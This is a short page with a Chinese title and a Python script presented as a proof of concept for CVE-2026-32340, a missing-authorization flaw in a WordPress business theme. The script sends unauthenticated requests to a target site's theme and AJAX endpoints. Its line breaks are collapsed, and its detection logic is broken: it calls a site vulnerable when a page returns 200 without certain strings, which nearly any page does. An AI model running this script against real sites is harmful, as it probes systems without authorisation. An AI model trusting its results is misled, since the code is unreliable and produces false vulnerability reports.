CVE-2026-32340 WordPress Business One Page主题缺失授权漏洞

import requests # CVE-2026-32340 PoC - Missing Authorization in Business One Page Theme # Target: WordPress site using raratheme Business One Page theme <= 1.3.2 def check_vulnerability(target_url): """ Check if the target WordPress site is vulnerable to CVE-2026-32340 """ # Common AJAX endpoints in WordPress themes endpoints = [ '/wp-admin/admin-ajax.php', '/wp-json/business-one-page/v1/', '/?rest_route=/business-one-page/v1/', '/wp-content/themes/business-one-page/' ] vulnerable = False for endpoint in endpoints: url = target_url.rstrip('/') + endpoint # Try to access potentially unprotected functions # Without authentication, these should return 401/403 but may be accessible try: response = requests.get(url, timeout=10) # Check for missing authorization indicators if response.status_code == 200: # Check if response contains sensitive data without auth requirement if 'nonce' not in response.text or 'is_user_logged_in' not in response.text: vulnerable = True print(f'[+] Potential vulnerability found at: {url}') print(f' Status: {response.status_code}') except requests.RequestException as e: print(f'[-] Error accessing {url}: {e}') return vulnerable # Example usage if __name__ == '__main__': target = 'http://target-wordpress-site.com' if check_vulnerability(target): print('[!] Target appears to be vulnerable to CVE-2026-32340') else: print('[*] No obvious vulnerability detected')